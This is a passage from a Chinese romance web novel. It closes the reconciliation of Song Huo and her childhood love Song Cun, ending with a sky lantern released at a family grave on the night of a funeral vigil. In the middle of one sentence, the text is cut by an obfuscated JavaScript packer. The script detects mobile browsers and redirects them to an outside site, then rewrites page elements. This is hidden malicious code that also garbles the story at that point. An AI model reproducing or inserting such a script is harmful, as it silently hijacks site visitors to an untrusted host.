“宋霍,你家电视黑屏了。” 冷漠的声音打断了电话那端的哭诉,我擦了擦手,赶紧挂掉电话,看向宋存的时候莫名心虚,我打哈哈:“啊?是吗?那我去看看啊,你,你别急,你玩会手机。” 到客厅后我发现电视黑屏是因为宋存摁到关机键了,不明所以地再打开电视,我回到厨房,刚想告诉宋存可以看了,就看到他挽着袖子,露出一截白皙的手腕,线条流畅,腕骨突出。 “你傻站着干什么?洗碗都洗不干净,去拿个皮筋把我头发扎一下。” 宋存只瞥我一眼,手上动作没停,我被他吩咐几句,迷迷糊糊间好像又看到了记忆里的宋妞妞。是敏感的少年踩着凳子煮饭烧菜,是在破旧狭小的厨房里,他系着围裙扭头问我:“今天晚上别回家了,宋火火,我给你做饭吃吧。” 我晕头转向地去帮宋存找皮筋,结果刚出门冷风一吹,想到了我和我妈都是短头发,家里压根没皮筋。于是又折回来,我刚为难要怎么开口,宋存就回头看我一眼,然后目光示意到他腰下裤子的兜里。 “我手湿着,你自己过来拿。” 宋存的腰细,空荡荡的毛衣下就一截腰,我屏息走过去,小心撩开他的毛衣衣摆,看到雪白的腰窝往下勾勒。 我有种想要扒他裤子的冲动,但很快宋存不耐烦起来,头发甩了下我,一阵馨香冰凉的触感。他骂我:“宋霍,拿个皮筋又不是让你拆炸弹,你在磨叽什么呢?” “主要你这身段可比炸弹带劲多了。” 我把心里话说出来了,在宋存发飙之前,我赶紧掏出小皮筋,两只手拢住他的头发,指背擦过他的脖颈,宋存身子抖了一下,两只手撑着洗手池,眼尾泛出湿意,难得安静垂首等我给他扎头发。 “宋霍,你觉得我和两年前相比,变了没有?” 我肯定如果我说变了,宋存就会说我骂他老,如果我说没变,宋存就会骂我眼瞎。所以我应该沉默。 “嗤,看来你不仅眼瞎,舌头也让哪个相好的咬掉了是吧?宋霍,你之前不是挺能气我的吗?” 这也能骂? 宋存猛地将锅刷扔到锅里,铛的一声,溅出来几滴水珠,他转身直直地看着我:“我这两年一直在锻炼,一直在研究怎么让身材更好,脸蛋更漂亮。宋霍,我为的就是等你十八岁之后,再次见到我,想起来高一那年你亲完我之后承诺的,你说你成年之后肯定会睡我。” “宋霍,我现在就站在你面前,我只问你,你后悔吗?” 那天我没回答,我没想好答案,宋存也把我推了出去。 很快我妈和宋存妈也回家了,因为宋老二的后事还有一些需要处理,所以宋存他们会暂时在我家住一段时间。 我妈开心,我更开心。 宋存住在我隔壁的房间,小时候我们经常在那看碟片看漫画或者写作业,漫长一个下午,总是看得人昏昏欲睡,我习惯枕在宋存腿上,闻着他衣服上的香气。然后渐渐地陷入金色的幻想。 在我的幻想里,宋存有时候是等待高塔之上等待拯救的美丽王子,有时候又是被绑进花轿里绝望的新郎,当然更多时候就是宋存他自己,一个喜欢留长发穿裙子、美丽又孤僻的男孩子…… 我小时候以为这些都是春梦,现在都是懂了。 我是有种英雌情结,仅限于宋存的英雌情结。 宋存在我家住了三天,基本上也没和我说过几次话。 白天他要陪着他妈妈处理宋老二的身后事,晚上回来得早他倒是会做饭,只不过总做我不喜欢吃的菜。 知道我不喜欢吃胡萝卜,宋存就变着花样炒胡萝卜,知道我不喜欢吃猪肉,宋存还特意做了道蜜汁红烧肉,吃得宋娟女士心花怒放,扭头就命令我在宋存走之前,必须学会这道菜。 “当然可以啊,那明天晚饭的时候吧,我亲自教宋霍。” 宋存在我妈面前永远是一副笑眯眯的小白兔模样,我搓了搓手臂总觉得后背阴寒。反观是宋存妈大概也看不下去儿子这副装样了,她夹了一块红烧肉说:“平常没见你在家做饭啊……而且你不是喜欢做鱼吗?怎么今天改烧红烧肉了?” “小存还会做鱼啊?宋霍就喜欢吃鱼,刚好,这几天一起教了。你好好学啊,闺女。” 我妈毫无顾忌地把我往宋存身边推了推,胳膊撞到他,我本来还不好意思,但扭头去看见炉火映照下,宋存的脸颊已经漫洇开一片粉霞。 他低着头,发丝遮眼,筷子在碗里胡乱地搅。 “你再搅,这碗汤就凉了,宋存,好好吃饭。” 很神奇,看到他脸红,我忽然就不紧张了。凑近到他身边,我手指摸了摸他的手腕,装作不经意,我故意看着他眼里的惊澜。 “手别抖,宋存,吃饭。” 我本来就没想过宋存真的会教我做饭,第二天上午我还没醒,就听见宋存妈在客厅说些什么,然后匆匆忙带着宋存出门去了。 中午我妈回来告诉我是公司有批货出了问题,所以他们两个人先坐车回去。 我有些恹恹的,没说什么,下午黄依依家里饭店要宰羊,缺个帮手,刚好叫我去凑热闹。 一群人忙活到晚上,羊肉刚串好,楚烁越又闷闷不乐地黏了过来。 黄依依一见他还挺开心,直接拎两扎啤酒,又拍了下我的肩膀叮嘱:“失恋财神爷又来了,你多灌点,酒水钱咱俩对半分。” 好一个奸商。 我没答应,因为楚烁越根本用不着灌,我刚串了一盆羊肉串,扭头他已经开始哭着给前女友打视频了。 不知道打的第几个,对面忍不住终于接了,但楚烁越根本没说几句,只顾着哭,哭完头一歪就趴到桌子上睡觉。 “你是楚烁越的朋友?” 我去收拾残局,手机里的视频通话还没挂,见对面的女生先开口,我拿起手机点了点头,并且认真地看着她。 和我想象中不一样,对面的女孩温柔明净,容貌并不出众,但一双眼睛却十分出彩,轮廓圆润眼尾微挑,是一种被柔和月辉遮掩的锋利。 她问我:“你不记得我了吧?两年前在大学食堂,我给你送过演唱会的门票。” “噢,你是宋存的同学。” “是,当时我见到许章印跟你搭话,以为就是老师和学生的家人闲聊几句。后来也是宋存曝光检举许章印私下骚扰威胁他的聊天记录,学校才知道这件事。当然说起来,我们那时候确实很多人以为宋存是同性恋,还公开在表白墙的校草评选中给他组CP。” 听着她讲起宋存,我并不怎么惊讶,这两年我越来越多接触到性向方面的信息,男女,女女,男男,女男,甚至是跨性别……五花八门的研究让我觉得,在爱情发生之前,光是各种标签排列组合,就足够把人困进迷宫里绕不出来了。 “现在说起来挺离谱的,但那些年大家也都是追着网上的潮流,把长发、精致又貌美这些标签理所当然地视为同性恋。只不过后来宋存大二的时候,有男生直接堵在寝室楼下面表白,宋存不答应,那人要强行上手,结果却是被宋存摁住打了一顿。那个点学校人很多,宋存索性就拽住他挡在路口,向所有看热闹录视频的人表示,他不会喜欢男的,也不会喜欢女的,他不喜欢任何标签下的人,他喜欢的是具体的一个人,只有那一个人可以定义他的取向,他的喜欢和他的爱。” “你不是也喝两斤吧?怎么跟我说这么多……” 我人愣住,思绪混乱,不知道该做什么反应,甚至于楚烁越身子一歪扎到我怀里,我都没敢动。 这两年我想过我错怪了宋存,我想过要和他道歉,可自尊总是将爱耍得团团转。 视频那端传来笑声,她眨了眨眼,挑起下巴望向我背后:“跟你合眼缘不行吗?再说了,我是真见不得顶级天菜都喂到你嘴边了,你还哈戳戳跳起来把盘子给踹翻的。” “现在,扭头,小妹,该你开荤了。” “宋存!你站住,你、你站住,死刑犯都有上诉的机会吧!你不能不听我解释啊!” 只穿了件卫衣,我追着宋存一直到街对面,灯光愈发惨淡,他脚步很快,直到被我拽住衣带。 宋存红着眼转身,冷笑:“那你解释啊,为什么姓楚的会躺在你怀里?你当初高二的时候就是因为他才和我分手的!” 这你都知道? 我压下惊疑,这时候不是质问宋存的好时机,耐着性子,我牵住他的手扮可怜:“我真的错了,宋妞妞,好冷啊这会,你这羊毛大衣挺贵的吧,来敞开让我钻进去暖和一会。” “宋霍!” “好好好,”我把手贴到宋存腰上,他皱了皱眉,至少没拒绝,于是我又凑近贴着他说:“当初是我,我不习惯你离我那么远,也不喜欢你身上沾染的那些所谓的大城市的气息。还有当时我,我意识到你跟楚烁越很像,他是男同,我就鬼迷心窍地以为你也是。宋妞妞,我知道我是笨蛋我是蠢货是你的祸害,但你还是要原谅我。” 宋存的眼睛湿红,街上的风一吹,泪珠一颗颗顺着眼尾滑下来。他咬住颤抖的唇瓣,发丝被风拂乱,遮住了眼底的情绪。 宋存心里是恨,问我:“凭什么?宋霍,凭什么你说不要我就不要我,说不亲我就不亲我,说让我回来我就回来?凭什么?凭我爱你就低你一等吗?” “我没有说不要你,宋妞妞,我只是在爱你的路上绕了个圈,现在我绕回来了,你不要我了吗?” 我的手已经探进了宋存的衣服里面,冻得冰凉的手指摩挲着他腰侧的肌肤。宋存眼泪落得更急,隔着一层泪雾看我。 “可是两年,宋霍,这两年来,每次我给爷爷寄回来的包裹,都有你的一份。我还找了黄依依,找了胡海,找了各种方法才偷偷加上你的联系方式。可你从来都没有发现过我,你知道这两年我能得到的回应是什么吗?是两条你群发的新年快乐。” “宋火火,快乐是你给予我的,不快乐也是。” 脸颊上的泪痕黏着凌乱的发丝,宋存显然已经崩溃,我能感受到指下的肌肤在颤栗,本能地,我吻住他的唇瓣。 可怜的、柔软的唇瓣已经被他自己咬出了血,我一点点吸吮着,直到他挣扎,我扣住宋存的后颈,唇舌纠缠,气息交融。 “不要反抗我,宋存,原谅我,”从凶口开始,我一颗一颗解开他的扣子,宋存眼睫一簇簇挺翘着,发丝仍在恋恋不舍地勾着我的唇角,他喘息着任凭我解开他的大衣,然后靠近,环住他的腰肢。 “乖一点,宋妞妞,原谅我,让我进来,快乐就会进来。” 发丝被撩起,我一点点擦干宋存脸上的泪痕,又一点点将亲吻印上。小镇的夜晚冷,但我的唇是热的,他的肌肤也滚烫。 宋存闭上眼,眼睫压下最后一刻泪珠。 眼泪落在我的唇边,宋存低头吻上来。 这是我记忆里宋存第一次主动亲吻,他终于不矜持,不敏感,甚至不计较。 爱和宽恕总是同时发生,而被我抛弃的恋人,在这个冬夜里,瑟瑟发抖,卑微祈求——最后一次,宋霍,答应我这是最后一次你不要我。 我总会原谅你,但你不能总是抛弃我。 08. 宋存本来已经上车,开出两座城市之后,他突然反悔,就近下车买了返程车票回来。 “我知道这次离开只需要一星期就能回来,但昨晚你摸了我的手腕,眼睛里渴求地看着我。宋霍,我就好怕这一星期再出现什么变数。” 我陪宋存回家,今晚是头七,他说想住在以前的卧室里。 我妈也没有问原因,甚至看到我牵住宋存的手,都只是挑眉笑了笑,说:“所以现在看来是不用学红烧肉了,对吧?行啊,宋霍,让你学菜,你直接把厨子给拐回家了。” “你不知道吗,妈妈?你不在家的时候,都是宋妞妞把我给喂大的。” 我抓着宋存的手直接亲了一下,他红着脸下意识想躲,但发现我在笑盈盈地看着他,宋存终于也笑了,攥紧我的手,坦诚地对宋娟女士说:“你肯定能看出来,宋姨,从小时候开始,我就离不开宋火火了。” 我妈准备了被子,又叮嘱宋存,头七夜里供桌上的蜡烛千万不能灭。 他一一都应下,然后看了看我,趁着我妈转身的时候,用被子挡着,宋存在我脸上亲了亲。 “我先回去守夜,明天早上来给你做饭。还是红薯粥和青椒炒鸡蛋?” 宋存九点离开,晚上十点多宋娟女士在床上耍手机,我猫着腰从客厅溜出去,绕到后院翻墙跑出去。 宋老二家里的灯总是昏黄的,门口那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15808738|149889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盏明黄的灯笼,是我去年除夕夜帮他挂上去的。 我当时说:“有光亮的地方才能被看见,邻居们都搬走了,整条巷子如果都是黑乎乎的,他们回家就找不到路了。” 宋老二乐呵呵地说好,但我明白,他还没老糊涂,他知道黑爷前年就脑血栓走了,还有总是陪他晒暖的翠凤婆婆,也因为心脏病,在中秋节第二天早晨离开了。至少剩下那些年轻人,许久不曾回来过了。 整个村子渐渐地只剩下零散的几户,夜里灯光亮起来,俯瞰时宛如一颗千疮百孔的心脏。 我没有敲门进去,从背后走到沙发后面,伸手轻轻拍了下倚在沙发上画图的宋存。 “你自己掀开被子坐过来吧。” 他眼睛都没抬,只有手腕抖了下,然后继续专注手里的草稿。 “你知道我要过来陪你。”挤到宋存怀里,我抱住他的腰,脸埋在他颈侧亲了一口。 宋存怕痒,低头蹭了蹭我,笑着反问:“不然你以为我走之前亲你那一下是为了什么?” “是勾引!” “就是啊,一勾一个准。” 宋存点头,目光还落在线稿上,我还没问,他侧头亲了亲我,主动说:“我在准备一个漫画,名字叫《柿子镇里的宋火火》,初稿两年前就准备好了,但现在又回来,我发现有些地方还是要改。” “要改什么呢?”下巴搭着宋存的肩膀,我找了个舒服的位置,搂住他的腰,安静地听他说话。 宋存也转过身抱住我,烛光晃动,窗外飘下雪花,风声呼啸,他的怀抱柔软馨香,声音里却是独属于爱人的脆弱与依恋。 “一直到两年前我们分手的时候,我都讨厌这个地方,那时候在我眼里,你和这个地方是分开算的,我讨厌这个地方,但我极爱你。” 宋存爸爸去世之后,妈妈南下打拼,宋存原本是被送到姥姥家里,但因为宋存二舅的儿子出生,姥姥就以照顾不过来,把宋存送到了宋老二身边。 宋老二是宋存爷爷的大哥,年轻的时候打过仗,后来退伍回来打了一辈子光棍。他是个木讷的乡下人,一开始不懂养孩子,邻里就帮衬着,直到宋存愿意开口讲话,爷俩就帮衬着,一天一天也把日子熬了出来。 “这个小镇没有我的家,妈妈不在这,爸爸也死了。爷爷心地好,愿意抚养我。可是走出去,那些大人小孩,都知道我是被妈妈丢在这的。小时候最常听到大人开玩笑,你妈妈不要你咯,你妈妈在南方赚大钱,要给你生个弟弟了……说的人不以为意,听的人哈哈大笑,只有我是真的害怕。因为我曾经非常肯定,或早或晚,我妈总有一天会不要我。” 我抱紧宋存,揉着他的头发亲了亲。六岁时我是在坟场撞到宋存趴在坟包旁偷哭。那时候都半夜了,我跟着胡海去建筑队偷废铁,他尿急就跑到小树林解决。我听见小男孩的哭声,没有害怕,只是偷偷绕过去,我本来是想摸一下宋存的手,看下是凉的还是温的,看下他到底是人还是鬼。 我的手碰到他的手,下一刻却被脏兮兮的小男孩抱住。他的眼泪很烫,一颗颗流到我脸上。 “很久没有抱过我了。不管你是谁,求求你,抱一下我。” 于是那天晚上我抱着宋存,一直到今夜,我从未松开。 “后来,宋火火原本跟我玩,我的日子变得好过了许多。我所认识这个小镇,是上学放学跟你一起跑过每一条小巷子,是巷子里的风吹来你身上洗衣液的味道,是站在房顶上看你跟哪个小朋友玩,然后用吃饭的借口把你叫回我身边。” “是吗?我还以为你小时候单纯是喜欢做饭呢?” 我笑着擦掉宋存脸上的眼泪,自己的眼泪却先落下来。其实我很少哭,但爱一个人就是分享他的喜怒哀乐,是在他的委屈之前先掉下眼泪。 宋存低头亲了亲我的眼尾,他抱住我轻轻地晃,烛影摇动,我们拥抱就是一盏温暖的灯笼,雪夜里洒下融融辉光。 “直到十七岁我离开,我才真正地开始认识它,这个小镇,我从前是透过对你的爱认识它。但那份爱孤独又敏感。离开之后,你给我讲小镇又新开了哪家麻辣烫,又开办了什么集会,你把初雪的茫茫田野记录下来给我,又给我听戏台上拉长的唱腔……宋霍,从那时候开始,我才是透过你的眼睛认识这里,这个我们长大,受伤,爱和被爱的地方。” “我总觉得这个地方保守,它不接受我的长头发和裙子。但另一面她又包容,她可以让唱包公的女人当戏剧团的团长,也可以让爱美的红发男人开一家小店。我从前讨厌她的人情往来,讨厌从族谱上就能找到你和街上任意一个人的关系。但这次看到爷爷的葬礼,那些准备席面、灵棚,放礼炮,扯孝布,还有抬棺的那些人,我又觉得自己被温暖和安定包围着。” “宋霍,直到现在,直到你挽回我,拥抱我,我才愿意承认,这里就是我的家,是我们的家。” 烛火要燃尽了,我起身重新点燃一根续上,白色的蜡泪落到桌上,黏住我的指尖。我忽然转身,捧住宋存的脸。 眼睛在发亮,我很兴奋,抵住他的额头,在宋存凑上来亲吻时,我告诉他:“我想到我们能做什么了,宋妞妞,所有的爱人都要回家,今夜该是我们的团圆夜。” 坟包旁的柿子树已经长得很高,秋天没有摘完的柿子挂在枝头,一层薄薄的白雪堆积,茫茫夜色中,像是一串串火红的灯笼,等着孩子回家。 “你把陈波求婚用的孔明灯偷出来,他还不找你算账?” 宋存弯腰看着我拆包装,孔明灯的蜡烛先掉出来,我拧好铁丝后让他把蜡油安上。 “等过年我把小君约出来一起吃个饭,陈波还得谢咱们呢。” 我咬下笔盖,把油笔递给宋存,“你写吧,你写完我们把孔明灯放飞,等飞到天上,你爸和宋老二就能跟着它回家了。” “好俗的桥段啊。”宋存红着眼睛笑,发丝黏着白雪,他的脸颊被吹得泛红,“宋火火,你这点把戏也就能哄得我死心塌地跟你好了。” 宋存接过油笔,弯腰趴在爸爸的坟包上,一笔一划地写。 田野里的寒风轻缓地吹皱夜色,当宋存收笔那一刻,一颗红透的柿子沾着风雪砸在他手边。 宋存怔怔地看着那砸烂的鲜红果肉,我则捡起来沾雪的果肉咬了一口。 “别哭,宋妞妞。”我跪在他身边,抬手擦掉宋存脸上的泪水。俯身将甜蜜的果肉渡到他的唇齿间,我弯起眼睛笑,告诉他:“这次是甜的,宋妞妞,以后都是甜的。” 用手拢住打火机,我点燃铁丝缠着的蜡烛,火苗渐渐燃烧,透过油纸也能感受到温暖的波浪。 我抱住宋存让他放手,被热浪托举的孔明灯从指尖滑走,我和宋存仰头望着,灰蓝色的夜幕中,乌云散开。 一盏遥远的灯笼,一段阴阳两别的重逢。 孔明灯飘远了,我和宋存牵着手回家。 “宋妞妞,你小点声告诉我,你在灯上写了什么?” “我跟大爷说,过几天会给他烧一些玉米种子和小麦种子,他在下面还能继续种地。至于我爸,我跟他说别担心我,也别担心我妈,想照顾我妈的男人多得是。” “你好毒……” 宋妞妞大笑,我那礼貌克制、温柔疏离的初恋男友,终于攥住我的手跑起来,一步一步踩过雪地,踩过属于他的生长痛。 “笨蛋,宋火火,其实我写的是——” 别担心,我有爱我的人,也有我永远爱的人。 她会给我买各种漂亮的裙子,会在清晨和日暮,温柔地梳理我的长发。 而我会献给她,无数次的宽恕,绝对的忠诚以及我完整的爱意。 ——完——